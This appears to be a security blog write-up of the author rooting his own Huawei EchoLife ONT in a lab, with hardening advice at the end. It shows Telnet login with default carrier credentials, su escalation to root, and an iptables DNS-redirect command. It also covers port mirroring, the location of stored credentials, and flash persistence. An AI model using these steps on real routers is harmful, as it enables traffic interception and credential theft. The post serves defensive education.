Post cover image
Photo by Misha Feshchak on Unsplash

October 20, 2026

Getting Root Shell on My Router

A Case Study in Insecure Defaults and Device Hardening

By Abdullah Asim

6 min read

Getting Root Shell on ISP-provisioned Router

Disclaimer: All testing was conducted in an isolated personal lab environment on hardware I own. This writeup is published strictly for defensive educational purposes and to promote local network security awareness.

Introduction and Context

In residential and small-office environments, the internet router is often treated as an appliance that simply works out of the box. In Pakistan, broadband and fiber deployments are dominated by vendors like Huawei, TP-Link, and Tenda. While these brands represent the bulk of the consumer market, assuming all regional models share identical vulnerabilities is a generalization that requires device-by-device empirical verification. Many modern retail routers disable Telnet entirely in production builds or restrict management strictly to web interfaces. However, ISP-provisioned Optical Network Terminals (ONTs) frequently retain customized, carrier-specific firmware with legacy management tools enabled.

Recently, I audited an EchoLife HG8546M GPON terminal in my lab setup. Because embedded Linux behaviors and service access-control lists (ACLs) vary significantly across hardware revisions and carrier releases, documenting the exact software environment is essential for reproducibility:

WAP> display version
hardware version          = 10C7.E
main software version     = V5R019C10S100
standby software version  = V5R019C10S100
uboot version             = 2010.03

WAP(Dopra Linux) # cat /proc/version
Linux version 3.10.53-HULK2 (ci@SZX1000044441) (gcc version 4.7.1 (SDK V100R005C00SPC030B050) ) #1 SMP Fri Oct 20 01:08:58 CST 2017

WAP(Dopra Linux) # uname -a
Linux EchoLife_WAP 3.10.53-HULK2 #1 SMP Fri Oct 20 01:08:58 CST 2017 armv7l GNU/Linux

The device runs Huawei's customized Dopra Linux environment on an ARMv7 processor, operating an unpatched 3.10-series Linux kernel compiled in late 2017.

What began as routine reconnaissance led to a local privilege escalation chain leveraging default maintenance credentials, terminating in full uid=0 root execution, access to hardware packet mirroring, and persistent flash storage.

Threat Model

To put this vulnerability in context, it is important to define the attack surface. This is not an unauthenticated Remote Code Execution (RCE) exploitable across the public WAN interface.

Instead, this attack relies on local network adjacency and CWE-1188: Initialization of a Resource with an Insecure Default. An attacker must already reside within the local network perimeter. However, assuming LAN isolation is sufficient security is a dangerous architectural mistake. In a real-world scenario, network adjacency can be achieved by:

  • Compromising a cheap, unpatched IoT device (smart plug, camera, TV) sharing the subnet.
  • Gaining unauthorized access to a weakly secured WPA2 Wi-Fi network.
  • Connecting to a guest network that lacks proper client isolation.
  • Obtaining the Wi-Fi passphrase directly under the pretext of being a visiting guest.

Once on the LAN, if the gateway exposes management protocols secured only by vendor default credentials, an attacker can compromise the entire network infrastructure without needing a zero-day exploit.

Discovery & Reconnaissance

A standard Nmap port scan targeting the gateway's default LAN IP (192.168.100.1) immediately revealed an open legacy service:

┌──(kali㉿kali)-[~]
└─$ nmap 192.168.100.1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-10-13 10:06 EDT
Nmap scan report for 192.168.100.1
Host is up (0.0039s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT   STATE    SERVICE
21/tcp filtered ftp
22/tcp filtered ssh
23/tcp open     telnet
53/tcp open     domain
80/tcp open     http

Nmap done: 1 IP address (1 host up) scanned in 1.81 seconds

Port 23 (Telnet) was open and actively listening on the internal interface. Unlike SSH, Telnet transmits all data — including authentication credentials — in plaintext over the wire.

Authentication & Privilege Escalation

Connecting to the service confirmed a running Huawei Home Gateway maintenance interface:

$ telnet 192.168.100.1
Welcome Visiting Huawei Home Gateway
Copyright by Huawei Technologies Co., Ltd.

Login: root
Password:
Password is default value, please modify it!

WAP>

Using standard carrier default credentials, the gateway dropped the connection into Huawei's restricted maintenance command-line interface (WAP>).

To move from this restricted CLI to an actual Linux shell, I escalated privileges to the superuser Telnet profile:

WAP> su
success!
SU_WAP> shell

BusyBox v1.18.4 (2017-11-15 17:46:35 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

profile close core dump
WAP(Dopra Linux) #

The system dropped into BusyBox ash running on Dopra Linux (Huawei's customized embedded operating system). Checking the initial shell user revealed srv_ssmp—a service account with limited privileges.

However, invoking su within the Linux environment and providing the same default credentials completed the final escalation:

WAP(Dopra Linux) # su
Password:

BusyBox v1.18.4 (2017-11-15 17:46:35 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

WAP(Dopra Linux) # whoami
root
WAP(Dopra Linux) # id
uid=0(root) gid=0(root) groups=0(root)

Within four commands, we escalated from an adjacent network client to full root access.

Assessing the Post-Exploitation Impact

Gaining root access on an embedded router grants an attacker complete administrative control over the primary network gateway, governing all traffic routing, address translation, and local name resolution across the subnet.

Hardware-Level Traffic Inspection (ethportmirror)

Embedded network gear often contains proprietary vendor diagnostics built directly into the firmware. In the WAP> telnet shell, the gateway includes ethportmirror:

WAP> set ethportmirror ?
USAGE:
    set ethportmirror sourceport {value} destport {value} mirrordate {0:out/1:in/2:all} enable {0/1}
OPTIONS:
    sourceport  : value range [1-5:eth/9:cpu/10:pon]
    destport    : value range [1-5]
    mirrordate  : {0:out/1:in/2:all}
    enable      : {0/1}

This utility allows full port mirroring before NAT processing. By mirroring incoming and outgoing traffic from the WAN/PON interface or other switch ports directly to an attacker-controlled LAN port, every unencrypted DNS lookup, HTTP request, and packet across the network can be ingested straight into Wireshark.

Local DNS Hijacking & Redirection

Because the router serves as the local caching DNS resolver (listening on port 53), an attacker with root can manipulate resolution tables. By adding spoofed entries into /var/dnsmasq.conf or using iptables to redirect outgoing port 53 traffic:

WAP(Dopra Linux) # iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination 192.168.100.50:53

Any connected device attempting to reach legitimate services can be silently redirected to local phishing servers or malicious captive portals, without triggering certificate warnings on non-HTTPS services.

Configuration & Credential Harvesting (hw_ctree.xml)

Inspecting the storage mounts revealed the configuration tree:

WAP(Dopra Linux) # ls -l /mnt/jffs2/hw_ctree.xml
-rw-r--r--    1 srv_ssmp service      27096 Jan  1 00:02 /mnt/jffs2/hw_ctree.xml

On Huawei gateways, hw_ctree.xml stores the master system configuration. While often obfuscated or encrypted, it contains:

  • The ISP PPPoE username and password.
  • Web management administrative passwords (telecomadmin).
  • SIP VoIP account details and registrar keys.
  • Wi-Fi pre-shared keys.

Extracting this file allows an attacker to clone the user's ISP connection profile and compromise upstream accounts.

Firmware Persistence

Most consumer routers utilize a compressed, read-only root squashfs filesystem; changes to /bin, /sbin, or /root disappear after a reboot:

WAP(Dopra Linux) # touch /root
touch: /root: Read-only file system

However, examining /mnt reveals persistent flash partitions utilizing JFFS2 (Journalling Flash File System v2):

WAP(Dopra Linux) # ls -l /mnt
drwxr-xr-x    2 root     root            40 Jan  1 00:00 ftproot
drwxr-xr-x    4 root     root          4256 Jan  1 17:08 jffs2
drwxr-xr-x    2 root     root            60 Jan  1 17:26 nfs
drw-r-----    2 root     root            40 Jan  1 00:00 usb

/mnt/jffs2 is writable and survives hardware power cycles. By dropping a shell script here (e.g., /mnt/jffs2/script.sh) and appending its invocation to startup scripts located in the writable partition, an attacker can establish reboot-resistant persistence on the hardware.

WAP(Dopra Linux) # /mnt/jffs2/script.sh
pwned

The Persistence Nuance: While dropping an executable into /mnt/jffs2 ensures the binary remains on disk across reboots, establishing fully automated persistence requires an execution hook. Because primary initialization routines (/etc/init.d/, /etc/rc.local) reside on the read-only SquashFS partition, an attacker cannot simply modify standard startup scripts. Achieving reboot-resistant execution on such devices requires identifying writable startup profiles, abusing scheduled maintenance tasks, or intercepting configuration binaries that reference /mnt/jffs2 during boot to hijack system startup routines.

Mitigation & Device Hardening

Default configurations are designed for carrier deployment convenience, not zero-trust security. To protect your home gateway from this attack vector:

Disable Legacy Management Interfaces

Log in to the router's web configuration panel (typically 192.168.100.1 or 192.168.1.1). Navigate to Security > Device Access Configuration (or Service Control) and uncheck Telnet on both the LAN and WAN sides. If you must keep CLI management, enforce SSH only.

Change Factory Administrative Passwords

Do not rely on default passwords printed on the bottom sticker or standard ISP maintenance credentials. Update both the basic user password and the elevated carrier administrator account (telecomadmin / admintelecom) through the web management portal.

(Note: Avoid relying on the CLI passwd command in the BusyBox shell. On many embedded routers, /etc/passwd and /etc/shadow reside on temporary in-memory filesystems (ramfs/tmpfs) and are dynamically regenerated from flash configuration files on boot, causing manual shell password changes to revert after a restart).

Enforce Network Segmentation (VLANs / Guest Networks)

If your router supports multi-SSID or guest networks, turn on AP Isolation / Client Isolation. Keep untrusted smart devices, guest users, and lab environments isolated on a subnet that cannot route traffic to the gateway's management interface (ports 23, 80, 443).

Deploy a Dedicated Firewall Appliance

For home lab setups and security-conscious networks, configure your ISP ONT in Bridge Mode and offload routing, firewalling, and DNS handling to an open-source firewall appliance like pfSense or OPNsense.

Embedded device security frequently lags years behind modern operating system standards. Taking thirty minutes to audit open ports and lock down management access on your home gateway closes the door on trivial privilege escalation before an attacker ever has a chance to turn your own router against you.